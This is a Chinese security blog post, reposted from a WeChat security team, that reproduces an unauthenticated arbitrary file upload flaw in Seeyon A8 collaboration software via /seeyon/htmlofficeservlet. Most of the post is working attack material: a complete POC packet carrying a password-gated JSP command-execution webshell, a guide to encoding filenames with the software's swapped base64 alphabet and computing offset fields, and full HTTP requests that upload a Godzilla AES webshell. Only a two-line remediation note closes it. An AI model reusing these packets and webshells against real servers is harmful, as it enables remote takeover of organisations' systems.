致远A8 htmlofficeservlet任意文件上传漏洞复现

admin 2023年1月7日15:44:24评论337 views字数 7988阅读26分37秒阅读模式

0x01 漏洞描述

远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件,写入成功后可执行任意系统命令进而控制目标服务器。

0x02 影响版本

致远A8-V5协同管理软件V6.1sp1

致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3

致远A8+协同管理软件V7.1

0x03 漏洞复现

1.访问漏洞特征页面/seeyon/htmlofficeservlet,出现如下图说明页面可能存在漏洞

致远A8 htmlofficeservlet任意文件上传漏洞复现

2.构造恶意数据包

poc如下:

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("calsee".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

3.Poc数据包分析

此时的Poc只是上传了一句话,当我们想要上传冰蝎、哥斯拉、蚁剑的jsp webshell的时候,就需要深入分析其上传数据包的构造,方可上传成功。

3.1文件名分析
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6

文件名是一串base64编码后的字符串,但是无法直接解密。是因为该字符串是base64换表之后的编码,需要修改对应的表才能解密。原表:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

替换后的表:

gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6

所以这里要修改文件名的话,我们需要按照替换后的的表来进行base64编码致远A8 htmlofficeservlet任意文件上传漏洞复现PS:文件名必须满足9个字符(不含后缀名)以上,否则会从上传文件后面取字符直到满足9个字符为止,才把剩下的字符串写入到文件

3.2 webshell长度分析

首先看看payload头:

DBSTEP V3.0     355             0               666            

这里主要关注两个数值,355和666355指的是从payload的第355个字符开始读取文件内容666指的是从payload中读取文件内容的长度

我们先取出上传内容前的参数部分进行分析

DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

将其放置在notepad++中,选中,我们可以看到此时的长度是353,前面9行每一行行尾都包含回车+换行,所以计算最后一行的长度时候也要加上回车+换行,也就是说长度再加上2,由此得到355长度。如果我们改变其文件名长度,那么相对应的数值(355)也需要发生改变,如此这般在接下来方可读取上传文件。致远A8 htmlofficeservlet任意文件上传漏洞复现

取出Payload后半段,进行文件上传长度分析

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("calsee".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

在notepad++中,我们可以看到其长度为665,再默认+1即可致远A8 htmlofficeservlet任意文件上传漏洞复现

4.上传webshell

4.1上传txt测试

分析的差不多了,先通过编码和这两个参数构造了payload传了测试的txt

DBSTEP V3.0     347             0               12

其中payload前的内容长度是从DBSTEP=OKMLlKlV开始计算,这里我们可以看在最后一行没有回车加换行的情况下是345的长度,加上回车和换行就是347致远A8 htmlofficeservlet任意文件上传漏洞复现然后计算payload的长度致远A8 htmlofficeservlet任意文件上传漏洞复现

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: xxx:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=DBDC54F368BC9EAACE0B8512FD7F1334; loginPageURL=""
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 424

DBSTEP V3.0 347 0 12
DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN7T3brV6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
this is test

发送数据包,可以看到上传成功

致远A8 htmlofficeservlet任意文件上传漏洞复现

测试txt成功之后,我们来看看上传webshell试试

4.2 上传哥斯拉webshell

首先webshell的文件名是apitest123.jsp全路径为:

......ApacheJetspeedwebappsseeyonapitest123.jsp

经过换表base64编码,FILENAME的值如下

qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeaxjN1liN4KXwXT2dEg6

计算payloada前的长度为353+回车换行,所以其长度为355

致远A8 htmlofficeservlet任意文件上传漏洞复现计算上传的哥斯拉webshell长度为2617+回车换行+1,所以其长度为2620致远A8 htmlofficeservlet任意文件上传漏洞复现数据包如下:

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: xxx:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=DBDC54F368BC9EAACE0B8512FD7F1334; loginPageURL=""
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3039

DBSTEP V3.0 355 0 2620
DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeaxjN1liN4KXwXT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

发送数据包,可以看到上传成功

致远A8 htmlofficeservlet任意文件上传漏洞复现访问apitest123.jsp,可以看到文件存在致远A8 htmlofficeservlet任意文件上传漏洞复现使用哥斯拉webshell管理工具连接该webshell,成功 连接致远A8 htmlofficeservlet任意文件上传漏洞复现

0x05 修复建议

对路径/seeyon/htmlofficeservlet进行访问限制2.致远官方已发布补丁,请联系官方安装相应补丁。


原文始发于微信公众号(闪焰安全服务团队):致远A8 htmlofficeservlet任意文件上传漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日15:44:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   致远A8 htmlofficeservlet任意文件上传漏洞复现http://cn-sec.com/archives/1496848.html

发表评论

匿名网友 填写信息